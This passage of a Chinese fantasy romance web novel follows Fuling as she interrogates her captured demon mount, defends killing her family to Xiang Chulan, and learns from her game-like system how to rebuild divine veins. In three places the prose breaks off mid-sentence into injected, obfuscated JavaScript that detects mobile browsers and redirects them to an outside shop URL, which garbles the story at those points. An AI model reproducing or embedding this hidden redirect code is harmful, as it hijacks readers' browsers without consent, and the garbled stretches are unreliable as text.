想到飞花和宋奶娘并非死于妖族之手,而是被林羽汐和杜若芬害死,茯凌就咬牙切齿,恨不得把林羽汐和杜若芬拖出来再杀一遍才好。她压住心头涌上来的怒意,看向相楚澜道:“对了,关于踏云馆为何要活捉你,我可以帮你问问我的妖骑。” 相楚澜看着面前那头表情傲娇、鼻孔朝天的独角彩纹象:“你确定它会说?” “当然。”茯凌道,“我现在可是它的主人。” 她立马向独角彩纹象发号施令:“变回人形。” 独角彩纹象于是重新变成了白净俊俏的少年。 少年泄愤似的哼了一声,双手抱胸,下巴昂得老高。 茯凌看着一脸愤怒、痛苦、不甘、没办法的南荣,笑道:“别这么生气。听我的有什么不好?总归能保你一命不是?” 南荣撇着嘴不说话,又哼了声。 茯凌接着道:“你一个妖怪,活这么大岁数,怎么还如此看不开?我是神族,寿命也就一千多岁,你能活一万多岁呢。等我死了,你不就自由了?” 南荣气鼓鼓地说:“不用你安慰!” 茯凌不跟他一般见识,直奔主题道:“我问你,踏云馆为何要活捉相楚澜?” 南荣不愿回答,但嘴巴却不听他使唤地开合道:“据说他的红莲业火烧了不该烧的东西,祸水芯骄祀要他拿命来抵。至于他烧了什么,我就不知道了,毕竟我是噬魂楼的,跟她们踏云馆交情不深。” 茯凌于是看向相楚澜:“你拿红莲业火烧什么了?” 相楚澜也没想出什么头绪,道:“烧的东西太多,数不过来。” 茯凌又问南荣:“这次行动,是噬魂楼牵头,还是踏云馆牵头?” 南荣回:“噬魂楼牵头,踏云馆配合。” 相楚澜问道:“崇仙坊和八十一狱呢?有没有参与?” 南荣哼道:“你谁呀?我凭什么告诉你?” 相楚澜只好看向茯凌,茯凌问他:“崇仙坊和八十一狱又是什么?” 相楚澜解释道:“妖域有四大妖尊,是妖怪里最强的四个,他们割据一方,各自为政,分别创立了噬魂楼、踏云馆、崇仙坊、八十一狱。” 茯凌好奇道:“噬魂楼,是弑神刀伞无仇。踏云馆,是祸水芯骄祀。那崇仙坊和八十一狱呢?分别都是哪个妖怪创立的?又有什么诨号?” 相楚澜见她连连追问,“好学”的样子确实像刚练就一身本领的,不然不会对这些妖族势力一无所知,回道:“崇仙坊,美人玉博涂雅。八十一狱,阎王殿纵樾。” 茯凌又问:“美人玉博涂雅?她很漂亮吗?是个绝世大美女?” 南荣嘲笑道:“博涂雅是个男人!”说完又自嘲道,“真是荒唐!我竟被个连博涂雅是男是女都不知道的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187996|131701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白痴给——” “闭嘴!”茯凌命道。 南荣于是再也说不出话来。 “掌嘴!”茯凌又命道。 南荣于是不受控制地甩了自己一个大耳刮子。 茯凌这才满意,问南荣道:“崇仙坊和八十一狱有没有参与这次行动?说话。” 南荣道:“没有。” 茯凌问:“为何?” 南荣:“博涂雅自视甚高,向来不跟人合作,我们妖尊非常讨厌他。至于纵樾……我们妖尊没见过纵樾,不认识,找不到,谈不了合作。” 茯凌嘲道:“还以为你们妖尊多大能耐,没想到连自己同行的面都没见过!” 南荣眼睛翻到天上:“说的好像你们见过似的。” 茯凌闻言看向相楚澜,相楚澜轻轻摇了摇头,她于是对南荣道:“他是你们同行,又不是我们同行。我们见他干什么?” 南荣急于为他的妖尊大人挽尊,扬声道:“别说我们妖尊,博涂雅、骄祀,哪个见过纵樾?恐怕连八十一狱的很多妖怪都没见过!说不定根本就没纵樾这个妖,是他们八十一狱瞎编乱造的!” 相楚澜没心思再听什么纵樾,对茯凌道:“帮我问一下,噬魂楼还有没有其他势力潜伏在京都。” 茯凌便对南荣重复了一遍问题。 南荣道:“不知道。我这股势力今晚是全军覆没了,但妖尊又不止我一个亲信。” 相楚澜点了下头,他看向茯凌:“多谢。暂时没什么要问的了。” 茯凌笑道:“你可欠我一个人情,记得还。” 相楚澜见她先前扁嘴眼泪哗啦,现在咧嘴笑颜如花,心里有些无语,不轻不重地“嗯”了声。 茯凌把南荣收回符中,脸上笑容消失了,说:“择日不如撞日,今晚就还了吧。”她走到前院,来到飞花的尸身旁,心中涌上一丝愁苦,她蹲下去为飞花擦干净脸上的血迹,对跟着她出来的相楚澜道,“帮我挑个风水宝地,好好安葬飞花。我没操办过这些,很多事情不懂,怕怠慢了她,就拜托你了。还有宋奶娘,我不知道她家在哪儿,你帮我打听一下,我要把她送回去。” “好。”他轻声道。 茯凌将飞花抱了起来,说:“地上怪冷的,我先送她回藏月阁,宋奶娘也在那儿。” 相楚澜承诺她道:“我等会儿差人去打听宋奶娘住址,再让人把这些牺牲的同僚送去殓房,风水宝地也会托人去寻。” 茯凌点点头:“辛苦。” 相楚澜没有多留,看了眼茯凌抱着飞花远去的背影,继而转身离开林府。 茯凌把飞花带去藏月阁,把她放在了宋奶娘旁边。她看着榻上再也无法睁开眼睛的飞花和宋奶娘,总觉得心里有些发堵。 上一回这么憋闷,还是被她敬重爱戴的宗门长老联手绞杀的时候。 那时她被封锁灵力,召唤不出宗政向离,只好拼死跳下悬崖,原以为必死无疑,谁知却在坠入寒潭的瞬间,灵魂出窍来到了这个世界。 她想,也许是因为自己濒死时的怨气太重,正好赶上了同样怨气冲天的林起月主动献祭。也许并没有什么献祭,单纯是她运气好,意外触发了突破她认知的系统。 正想着,脑海里突然传来系统提示音:「玩家请注意,支线任务二已经开启,支线任务二:荣登尧光榜,晋升十二弦。任务期限:十年。友情提醒,本次任务难度较高,请玩家保持信心,发奋图强!」 20. 第20章 该杀之人 相楚澜办事妥帖,不过数日,已经安排好了命丧林府的一众人等的后事。 飞花被体面地安葬,宋奶娘的尸体也被送回家中。 血宴礼一事被移交给天下卫审理,茯凌作为关键人物,开始频繁出入天下卫,也慢慢摸清大栎国的权力机构。 在朝臣官僚体系之外,大栎国还有一套名为“天地两仪”的用人体系。 “天地两仪”由“天字头”和“地字头”组成。 “天字头”下设天机府、天风咒、天下卫,用民间童谣就能解释这三个机构的作用——天机府的探子,天风咒的刺客,天下卫的判官,大玄殿的名堂。 指的是这三个机构,都是大玄殿搞出的名堂,而在这三个机构任职的,也基本出身大玄殿。天机府收集情报,天风咒负责暗杀,天下卫主管审讯。 “地子头”下设地一高功、地二高功、地三高功,分别是帝国神器、妖骑、灵药的集中地,周围设重兵把守,只向帝国强者开放。 而从未踏足过地二高功的茯凌,却在噬魂楼黑纹大妖自爆之际,用一手神奇的符文,成功将黑纹大妖收为坐骑,这件事也随着血宴礼一案,在“天地两仪”间、贵族高官里传为奇闻。加上她大义灭亲、斩杀兄妹、满门尽灭、誓死保全林府名声、英勇解决被俘神族的故事,“林起月”三个字一时成为京都美谈,甚至有人将她与十几年未曾露面的太子殿下写入话本,拉了郎配。 茯凌最近就读过几本这样的小说,一本结局她跟浮夷太子相伴终老,一本结局她跟浮夷太子生了一群天才宝宝,还有一本,她杀了浮夷太子后刎颈自尽,爱恨情仇,绵绵无绝期。不得不说,京都的老百姓不仅想象力丰富,也是真的闲。 一连数月,茯凌都在配合天下卫调查血宴礼一案,又忙着变卖林府的家当,还忙着重新购置一处雅静的小院,期间都没怎么主动找过相楚澜。不过好在有沐纶,这位二殿下自从在血宴礼上被她救下一命后,就开始对她另眼相看,隔三差五就要来找她嘘寒问暖一番,每次来都特别上道地拉着相楚澜一起,所以茯凌和相楚澜的接触也越来越多。 今天茯凌躺在新买的院子里晒太阳,旁边的凳子上摆了些瓜子花生,还有一本她和浮夷太子的爱恨情仇录,因为这些话本用的名字都是林起月,所以茯凌阅读起来毫无心理障碍。看话本看乏了,她就眯着眼睛开始琢磨支线任务二。 这段时间实在忙,一直没来得及研究支线任务二,谁让任务时限有十年那么长,感觉根本不用着急。 今天晒着太阳才想起来,她甚至还没了解清楚支线任务二的具体内容。 “荣登尧光榜,晋升十二弦。” 尧光榜是什么?十二弦又是什么? 茯凌刚心生疑惑,系统的声音就冒了出来:「友情提醒,玩家还有三枚锦囊妙计未使用。请问需不需要使用一枚锦囊妙计,为玩家介绍尧光榜和十二弦?」 茯凌黑着脸:“不需要!” 这什么山寨系统?好不容易获得个任务奖励,现在就想骗她用了?解释任务内容不应该是系统的本分吗?不靠谱啊不靠谱! 她准备找相楚澜或沐纶问问,刚要起身就听到有人敲院子门,她高喊一句:“谁啊?” 没人应声。 这倒稀奇,她这座院子平常也就沐纶和相楚澜会来,每次她问“谁啊”,敲门的沐纶都会应一句“我!沐纶!” 今天怎么不应了? 茯凌从摇椅上下来,走到院门后,打着哈欠就把门打开了,然后她就看见相楚澜一个人站在门外,她四处瞅了瞅,有些不敢相信:“就你一个人?” 不是每次都是不情不愿被沐纶拽着来的吗?今天怎么自己主动上门了? 茯凌于是打量了他一番。他今天穿一身雪白衣裳,轻盈层叠的纱,腰际是冷银坠红线,袖口被玄色饰物束紧,长发高高束成马尾,用浅银镶红玉的头冠点缀,唇色是一抹妖异的红,与雪裳边缘的滟红丝绦相衬,整个人看起来像是盛放在雪地里的一朵红莲。 茯凌倚在门框上欣赏他的美貌,听到他用乖张的声音道:“找你有事。” 茯凌便笑:“真是稀客啊,进来吧。” 他抬脚跨入她的院子,茯凌关上门,转身看向他的背影问:“找我什么事?” 相楚澜目光落到摇椅边的瓜子花生上,那里还有一本话本,看来她最近的日子过得挺舒坦。 茯凌走过去重新躺上摇椅,一边快活摇一边抬眼看他道:“进来又不说话,问你又不回答,你找我到底有事没事?” 相楚澜看向她,见她随着摇椅摇来摇去,晃得他有些眼晕,便抬脚踩住了摇椅轮子,说:“林府的案子,天下卫今日审结了。特地来跟你说一声。” 茯凌发现屁股底下的摇椅不摇了,院子里的小风也不吹了,于是就半死不活地盯着相楚澜,一动不动地盯着他,一句话也不说地盯着他,终于盯得他表情无语地移开了目光,也挪开了踩在摇椅轮子上的那只脚。 茯凌于是又欢快地摇起来,笑眯眯地说:“就这事啊,还麻烦你专程跑一趟。不如留下来吃个晚饭再走,旁边有家馆子卖阳春面的,可好吃了,还有一家卖八宝鸡汤的,晚上我带你下馆子去。” 相楚澜站在旁边没搭话,他注意到凳子上的话本,拿起来翻了翻,嗤笑着读道:“浮夷看着眼前一脸媚色的林起月,感觉浑身血液都朝下腹某个地方涌去,她却偏要继续惹火,纤细的手指轻轻滑过他的喉咙,娇滴滴地喊着‘浮夷哥哥’,浮夷再也控制不住,他低下头,忘情地吻上林起月红嘟嘟的唇肉……” 茯凌脸皮厚,听了也不难为情,反正写的是林起月,又不是她茯凌。于是就对相楚澜笑道:“要不怎么说京都繁华呢。所谓温饱思□□,大家吃饱了没事干,可不就写写这些小文章以供消遣嘛。” 相楚澜挑起一边眉,轻嘲道:“你天天把自己关家里,就是在看这些?” 茯凌心想看这些怎么了?碍着你的事了? 但她没跟他呛声,而是笑眯眯地从摇椅上起来,竭力向他推荐道:“我新买的这把摇椅不错,你试试。” 她走过去把相楚澜拉到摇椅边,又推他坐下,抽出他手里的话本,催促道:“你躺下,我帮你摇。” 相楚澜没闲情逸致在这里坐摇椅玩,说:“那晚在林府,出现过一个神秘的弓箭手,射杀了杜若芬,还射了林浚烨一箭。你配合天下卫查案时,声称自己并未见过此人?” 他说这话时,茯凌脑子里突然响起系统的播报声:「玩家请注意,目标人物相楚澜,现阶段对玩家好感度为26%,请玩家再接再厉再创辉煌」 两道声音正好重叠在一起,茯凌压根儿没听清相楚澜说了什么,她疑惑地看着他:“你刚说什么来着?” 自从那晚在林府收服南荣,并在相楚澜面前演技爆绷地表演了一场坦露心声,相楚澜就似乎对她放下了成见,随着后面一次次的接触,他对她的好感度也开始逐渐上涨,之前是0、-3、-7、-9、0,回正后就变成了百分数记录。 不过随着主线任务的顺利开展,系统却不再实时汇报相楚澜对她的好感度,而是主打一个出其不意、突然诈尸、说报就报,毫无规律可循。 就像现在,她明明没做什么,系统却突然没头没脑地冒出一句“相楚澜对她的好感度为26%”,茯凌认为这是系统在故意增加任务难度。 因为26%代表的是相楚澜这个阶段对她的好感度,是在她做完一系列“好赖事”之后的综合分数,所以她并不知道这个阶段,相楚澜对她的好感度是不断上升的,还是起起落落波浪式变化的,因此也就不清楚自己做的哪件事赢得了相楚澜的好感,哪件事又惹他生厌。这种不清不楚就让茯凌无法总结经验、摸着石头过河,攻略起相楚澜来自然也就难度翻倍。 她对系统这种故意使坏的行为咬牙切齿,接着又愁苦起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282280|131701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要她杀人倒好办,要她攻略相楚澜这种轻狂自负、敏感多疑、阴晴不定的世家公子,真的好难! 相楚澜不知道茯凌的内心活动,只看到她脸上的表情从疑惑到愤怒,接着又从愤怒到忧愁,最后又添上一丝苦闷。他有些看不懂,这个问题这么难回答吗?他又问了一遍:“那晚出现在林府的弓箭手,是不是你?” 茯凌这次听清了他的问题,想都没想就要张口说“不是”,可她刚张开嘴,还没来得及发出一个音节,就听到相楚澜沉声补充道:“想好了再回答。” 茯凌从他这句话里听出了威慑、恐吓的意思,于是立马占据道德高地道:“你什么意思?府里出现弓箭手,就一定是我吗?我不会拉弓射箭,从没学过!你总是把我往坏处想,我到底怎么得罪你了?” 相楚澜看着无理取闹的茯凌,不轻不重地呵了声,无语至极道:“那晚你把我丢进另一个空间,之后你进来过一次,手里拿着弓箭。” 茯凌尴住:“……” 相楚澜敛了眉眼,声音凉凉道:“你又骗我。” 茯凌挠了挠额头,心虚道:“怎么就又了?我之前好像没骗过你啊。” 相楚澜不说话,黑瞳幽深,好像是在生气,又好像只是在跟她闹别扭。 茯凌尴尬地笑了笑:“我说那副弓箭是我捡的,你信吗?” 他这才看了她一眼:“你觉得呢?” 相楚澜冷淡的表情影响到茯凌,她也逐渐严肃起来,问道:“你跟天下卫说了?” 他默了片刻才道:“没有。” 茯凌有些意外,问他:“为什么没说?” 相楚澜神色晦暗不明,又默了一会,道:“想先听听你的说法。” 茯凌不说话了,眼前的相楚澜突然变得陌生起来。其实也不能这么说,因为她对他原本就不了解。他到底是个怎样的人?他怀疑她,却又包庇她。他懒得理她,却又听她说了很多废话。他讽刺她,却又偶尔展现风度。他有时热血轻狂少年气,有时又沉静多疑有城府。 真是个让人看不懂的。 也许是见她许久没出声,相楚澜唇角勾出一抹讥诮:“怎么不解释?你的那些瞎话呢,编不动了?” 茯凌摆烂道:“想问什么就问吧,少讽刺我。” 相楚澜此刻还坐在摇椅上,他看向站在他跟前的茯凌,道:“林如进到底是怎么死的?” 茯凌不答,她直视着相楚澜的眼睛:“正好,我也有一些问题想请教请教你。” 她往前两步,一屁股坐在了相楚澜旁边,随着她的动作,摇椅带着他二人晃动了一下,相楚澜诧异地看向她,茯凌目视前方,铿锵有力地说道:“我问你,全嬷嬷欺我辱我,将与我一同长大的侍女活活烧死,她该不该杀?” “我问你,林昊晗狎童为乐,不知多少男童命丧他手,他该不该杀?” “林羽汐往我房中放锁元散,意图栽赃,被宋奶娘撞见就杀人灭口,她该不该杀?” “杜若芬纵容儿女作恶,用飞花挡下刺客杀招,她该不该杀?” “林如进为了名声,唆使戚媚娘毒杀我生母,负她害她,他该不该杀?” “戚媚娘为虎作伥,将毒酒灌进我生母的喉咙,她该不该杀?” “林浚烨勾结妖族,连累多少人命夭损?他该不该杀?” 茯凌转头看向相楚澜,面对她的主线目标,她不想瞒他这些,一字一句道:“最开始我也以为这些人不该杀,可我错了,这些都是该杀之人。” 她目光坚定,声音清脆,光明磊落地看着他,相楚澜心底忽而就升起一丝异样,他并非眼里揉不得沙子的刚直之人,也曾剑走偏锋、率性不拘,比起哭哭啼啼装柔弱、胡编乱造说瞎话,他反而欣赏眼前这个有仇必报、敢做敢当的她。 他轻声笑起来,微微侧首看她:“那日在林府,为什么说我要是死了,你这辈子就没什么指望了?这话什么意思?” 21. 第21章 尧光榜三甲 茯凌还以为自己又要拼一把演技,可没想到相楚澜竟这么容易就把她灭门林府的事给翻篇了。她惊疑地看着他,发现自己是真不了解他。 这人几次三番套路她,偏又自己不按套路出牌,行事诡异,飘忽不定。 不过他都已经将此事揭过,她也就没必要再往回提,便顺着他的话道:“我指望什么,你怎么会不知道?” 她指望完成任务,回到自己原本的世界,杀回宗门,讨个说法。 但她肯定不能这么跟相楚澜说,于是就故意引他遐想,她抿着唇往相楚澜面前凑了凑,羞答答地娇声道:“就是你想的那样。” 她说话时带出的气息喷洒在他侧脸与脖颈,温热的,带着丝丝甜味和暧昧,相楚澜突然就有种呼吸不上来的感觉,他连忙后仰躲开她,摇椅随着他的动作摇晃起来,把茯凌摇得也跟着晃了几下,她扭头看向他笑道:“你紧张什么?” 相楚澜表情不大自在地说:“我为何要紧张?” 茯凌往后躺到摇椅上,有些得意地说:“我怎么知道你为何要紧张?” 相楚澜被她拿话噎住,坐在那儿不出声了。 茯凌心情大好,趁他不注意,她拉住他胳膊就把他往后扯:“试试嘛,这摇椅不错的。” 她力气大,相楚澜也没防备,竟一下就被她扯得躺去了她旁边,她抬起头,笑眯眯地看他:“没骗你吧?”说着还用力摇了几下。 相楚澜盯着她弯弯的笑眼,有极短一瞬的出神,而后他反应过来地移开目光,正欲说什么,院外却突然响起一阵敲门声,阻断了他的话头。 茯凌扬声喊道:“谁啊?门没锁,自己推门进来!” 相楚澜还没来得及从摇椅上下来,院子的门就被推开,沐纶左手拎着蜜饯果脯,右手提着两壶酒,笑容满面地就进来了,走进院子才发现相楚澜和茯凌正成双入对地躺在摇椅上,他脸上的笑容先是一滞,然后又强颜欢笑地对相楚澜道:“刚到处找不到你,还在想你会去哪儿,原来是到这儿来了。” 相楚澜有些尴尬地从摇椅上起身,生硬地解释道:“她说新买的摇椅不错,推荐我试试。” 说完又觉得自己根本不需要向沐纶解释这些,懊恼地补充了一句:“是挺不错。” 茯凌一边离开摇椅一边道:“都说没骗你了。回头我把店址给你,你也买一把回去放着。” 沐纶忙道:“我也要。” 茯凌笑道:“行。你们两个要都买,没准儿还能削价。” 她看到沐纶手上的东西,走过去道:“给我买的?” 沐纶脸上的笑容这才和缓些:“你不是爱吃甜的?就买了些蜜饯果脯,又带了两壶酒,都是你爱吃爱喝的。” 茯凌挠了挠脸颊:“可你上次拿来的那些,我还没吃完。” 沐纶将蜜饯果脯还有酒拿进屋:“这回买的另一家铺子,口味不同。” 他熟门熟路地把东西放在茯凌专门摆零食的柜子里,接着就往外走回院中,笑着对茯凌道:“回头告诉我哪种好吃,我下次多买些来。” 茯凌见他如此知恩图报,赞赏地拍了下他肩膀:“难得你为人仗义,那我也不能太小气了。走,我请你们去醉仙楼喝酒去!” 沐纶偷偷看了眼被她用手拍过的地方,脸上笑意愈浓也愈隐晦,但很快就重新明媚起来:“好啊!听说雅音阁最近新排了一出戏,咱们喝完酒一同去看如何?” 茯凌无所谓地道:“喝完酒再说呗。” “也行。”沐纶笑意不减,“就按你说的办。” 相楚澜却没什么兴致:“你们去吧,我还有事,先回了。” 茯凌道:“你有什么事?我陪你一起去。” 得多刷刷亲密度,这样好感度才能逐渐上升。 可没成想却看到他眉梢一挑,极欠扁地来了句:“你听不出‘有事’只是托辞么?” 茯凌按捺住心头的微微不痛快,这时沐纶突然笑着搭上相楚澜的肩:“一起嘛!我们也很久没一块儿喝酒了!” 茯凌也道:“就是。我跟沐纶两个人有什么好喝的?三个人才热闹。” 沐纶唇角的笑凝固了一瞬,但茯凌和相楚澜谁也没察觉,茯凌还去拉了下相楚澜的衣袖:“要不就是你酒品差,不敢跟我喝。” 相楚澜瞥了眼她拉在他袖子上的手,不动声色地抬了下胳膊,甩开了她。茯凌又去抓,这回死死攥在手心里,默默跟他较上了劲,相楚澜嫌她幼稚,索性放弃挣扎,由她拽着他的衣袖,道:“我的酒品想必要比你好一些。” 他俩光明正大的小动作被沐纶看在眼里,他努力扯着笑:“那就比比,看究竟是谁酒品最差。” 相楚澜最后还是被沐纶、茯凌拽去了醉仙楼。茯凌点了三壶酒,一人一壶对嘴喝,不用酒杯、碗这些劳什子,要喝就喝得痛快喝得尽兴。 三人边喝边聊,大多时候都是茯凌跟沐纶在说话,相楚澜挺孤傲也挺风俊地在边上自饮自酌,偶尔说上几句。酒酣耳热,茯凌便问起自己关心的问题:“说来有一件事想请教一下,你们知不知道尧光榜是什么?十二弦又是什么?” 相楚澜难得先沐纶一步回应了她的话,道:“怎么突然问这个?” 茯凌随口胡诌道:“去天下卫配合查案时,听里面的人提过一嘴,有些好奇。本来前些日子就想问你们的,但一直没想起来。” 沐纶道:“尧光榜是大玄殿除十二大玄之外的战力排名,一般来说只收录前一百名。十二弦是尧光榜前十二位。尧光十二弦,对应十二大玄,被视为继承十二大玄衣钵的候选人。你以前没学过玄术,自然对这些不了解,其实这在玄术届几乎人尽皆知。” 茯凌“哦”了声,原来“荣登尧光榜,晋升十二弦”是这个意思。她又接着问道:“听起来怪威风的,那具体怎么做才能成为尧光十二弦?” 沐纶道:“每隔一段时间,大玄殿都会重开尧光榜,到时候会举行比武大赛,只要能排入前十二位,自然就是尧光十二弦了。” 茯凌问:“那等下一次重开尧光榜大概还要多久?” 沐纶道:“这一届的尧光榜已经是很多年前的了,应该过不了不久就会重开。”他粗略算了算,道:“估计也就等个七、八年的样子。” “这么久?”虽然任务期限是十年,但茯凌并不想拖这么长时间,问道:“想要成为尧光十二弦,有没有其他更快一点的方式?” 沐纶疑惑于她的反应:“你怎么这么关心尧光十二弦?” “我……”茯凌喝了口酒,在想该怎么回答。 这时相楚澜却开了口,道:“想要成为尧光十二弦,最快的方式就是在现役尧光十二弦里挑一位发起挑战,只要打赢就能取而代之,获得他原先的排位。” 茯凌觉得这个法子好,简单易行,正要问他现今的尧光十二弦都有哪些人,相楚澜却先一步看穿了她的心思,对她道:“别想了,你不行。” 茯凌索性也不藏着掖着,拿起酒壶碰了下他的:“你什么意思?看不起我?” 沐纶替相楚澜解释道:“你误会了,阿澜没有看不起你,只是……”他欲言又止,用一种可惜的眼神看了看茯凌。 茯凌问:“只是什么?” 沐纶柔声道:“只是大玄殿规定,只有大玄殿弟子才能登上尧光榜,成为十二弦。说到底,尧光榜是大玄殿内部排名。你非大玄殿弟子,恐怕……” “这有什么的。”茯凌不以为意道,“我参加大玄殿试炼,进入大玄殿不就行了?连林浚烨都能打入大玄殿,我现在可比他强。” 沐纶没说话,仿佛不想打击她。 相楚澜没他那么多顾忌,直言道:“你实力上确实没什么问题,但你天生没有神脉,不具备进入大玄殿的资格。” 茯凌被酒呛了下:“必须要有神脉才能进入大玄殿?这规定是不是太不合理了?!” 沐纶道:“自古以来就是这么定的。一来是为了避免人族靠法器浑水摸鱼。二来是为了防止噬魂楼混淆视听。三来,像你这种情况,以前从未有过。” 茯凌尝试着问道:“现在既然出现了我这种没有神脉也能大杀四方的情况,那有没有可能大玄殿更改规定,删了必须要有神脉这一条?” 相楚澜听到“大杀四方”几个字,不由看了眼茯凌。她却丝毫不在意他眼神里的无语,继续自吹自擂道:“不然像我这样的人才不就被埋没了吗?” 大杀四方,我这样的人才。相楚澜的喉咙里溢出一声极轻极短促的哼笑。 茯凌皱眉瞪他,心想这人又在阴阳怪气什么。 沐纶也忍不住笑了笑,但他的笑意明显比相楚澜的温和友善得多,对茯凌道:“你确实出类拔萃,强过不少大玄殿弟子。可你有所不知,大玄殿是十二大玄掌事,连我父皇都很难插手,而那十二位又是出了名的固执守旧,几百年来从未更改过大玄殿创立之初定下的规矩。” 茯凌认为系统不会给她发布一个不可能完成的任务,于是又问道:“那可有法子重塑神脉?” “这……”沐纶答不上来。 茯凌于是又看向相楚澜,相楚澜对上她目光,坦言道:“从未听过有谁重塑神脉。” 茯凌陷入沉思,看来现在有必要使用一枚锦囊妙计。 见她久不言语,沐纶以为她在独自失望伤心,便细声宽慰道:“其实尧光十二弦不过一个名号罢了,你的本领我们有目共睹,根本不需要靠尧光榜来证明你自己。” 茯凌敷衍地点了点头,脸上沉思的表情逐渐转化为不在意的笑容,她准备先把这事放一放,回去问过系统再说,便开始跟他们聊起闲话来:“那你们两个可在尧光十二弦之列?” 沐纶有些难为情地笑了笑:“说来惭愧,我并未参加过大玄殿试炼。” 茯凌顺嘴问道:“为何?” 沐纶却没答,引开话题道:“阿澜倒是尧光十二弦之一。” 茯凌问:“排第几?” 沐纶看了眼相楚澜,替他答道:“第四。” “切。”茯凌支起下巴,歪着脑袋对相楚澜露出嘲讽的笑容,“还以为你多厉害呢,也就第四,前三都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她又看向沐纶,沐纶便心领神会地继续往下说道:“至于这位尧光榜第三……”说着,他不由地看了眼相楚澜,似乎在观察他的眼色,茯凌立马闻到猫腻:“第三位跟相楚澜有关系?” 相楚澜冷言冷语地明显不屑地回道:“我跟那个疯子毫无关系。” 茯凌听他语气,似乎十分瞧不上这位尧光榜榜三。她忍不住翘起嘴角,八卦兮兮地笑问道:“什么情况啊?真有关系?什么关系?感觉很有趣的样子。” 相楚澜冷着脸没理她。这让茯凌更鸡血了,她忙问沐纶:“到底什么关系?榜三是谁?你快说啊,急死人了!” 沐纶禁不住她的再三追问,只好回答:“第三位叫慈无忧,他跟阿澜曾经对战过,阿澜……” 茯凌不用想也知道,肯定是输了,不然怎么人家第三他第四,道:“我还以为什么仇什么怨,不就是输给人家了嘛,男子汉大丈夫当输的起放得下。” 相楚澜嗤道:“输给那个疯子?他也配?!” 沐纶对茯凌道:“阿澜和慈无忧的那场对决,闹得有些难看。慈无忧那个小狐狸,为了赢阿澜简直脸都不要了。使出一招万象超度,拉全场的人给他扛伤害,逼得阿澜不敢用杀招,不然全场都得给小狐狸殉葬。最后没办法,再打下去非得残一批,阿澜只好主动认输。” 茯凌张大嘴巴,没想到世间竟有如此厚颜无耻之人,还学会了如此厚颜无耻的招数。 她组织了一下语言,安慰相楚澜道:“你虽输掉了比赛,却赢得了大家的心,黎民会记住你,你的精神将万古长存。” 相楚澜:“……” 她在胡说八道什么?再说下去是不是要开始给他刻碑立传了? 相楚澜本就没什么兴致,现在见酒喝得差不多,便准备要走,道:“出来这么长时间,也是时候回去了。” 茯凌也有些兴致恹恹,毕竟她还想早点回去研究重塑神脉的事,也放下酒道:“行,那就各自回吧。” 她说完起身要走,唯一还有兴致的沐纶喊住她:“不去听戏了吗?” 茯凌摆摆手:“对那东西没兴趣。” 沐纶又道:“那我送你回去。” 茯凌笑道:“不用,我自己一个人走回去还快些。” 沐纶还想说什么,茯凌却已经抬脚往外走,他站在原地目送她背影走出一段距离,直到相楚澜喊他名字,他才移开视线,看向相楚澜道:“咱们也回吧。” 从酒馆出来,外边天色已经黑沉,沐纶无精打采地走在石板路上,相楚澜看他这副失魂落魄的样子,联想起他最近的种种反常,不禁问道:“你是不是对林起月——” 沐纶侧首看他:“什么?” 相楚澜想了下措辞,接着往下说道:“——有什么想法?” 沐纶反应了一下,继而明白过来他的意思,忙矢口否认:“我没有!” 相楚澜脸上表情隐晦不明:“可你的样子告诉我,你有。” 沐纶沉默下去,过了会儿,他用一种略带自嘲的语气说道:“你的判断也太不准了。你说我对她有想法,但我没有。你说她对你无意,可在我看来,她对你分明情深意重得很。” 22. 第22章 浮夷四相 茯凌回去路上就忍不住在心里呼唤系统,问它如何才能重塑神脉。 系统用冰冷的机械音提醒她:「玩家请注意,该问题需要消耗一枚锦囊妙计,请问玩家是否继续?」 茯凌心道:“继续。” 系统便开始向她阐述起来:「锦囊妙计正在使用中。玩家可以根据以下步骤,实现神脉重塑:第一步,前往妖域祟气谷,每日斩杀祟气妖灵四十九株,连续斩满两千两百日方可激活神脉根基」 “等等!”茯凌忍不住质疑道,“两千两百日,也就是六年多,我要花六年多时间,每日不辍地斩杀那什么祟气妖灵,这才只够激活神脉根基?逗我玩呢?!” 系统的播报声因此中断了一下,但中断过后却并未理会她的怨气,很快又继续播报下去:「第二步,找到一件上古法器,用灵力炼化后,将其融进骨髓形成神脉,玩家同步可获得与法器相对应的内生武器。注意,并非所有上古法器都适合炼成神脉,当下与玩家体质匹配度最高的上古法器为永夜银河」 茯凌翻了个白眼,心想:那就永夜银河吧,只是不知这永夜银河现在何处?她该如何获取? 感知到她的想法,系统接着往下说道:「第三步,前往八十一狱,打上修罗塔,于修罗塔塔顶夺取永夜银河。友情提醒,修罗塔乃八十一狱狱主、阎王殿纵樾专为永夜银河打造,内有银纹妖兽镇守,请玩家勤于修炼、务必小心」 茯凌:“……” 跟宗政向离差不多等级的银纹妖兽……这狗哔系统确定不是套路她去送死? 这时已经走到家门口,茯凌一边问候系统全家一边踹门进去,系统声音紧接着响起:「请玩家注意言辞,禁止辱骂系统。另,锦囊妙计已使用,等待玩家查收」 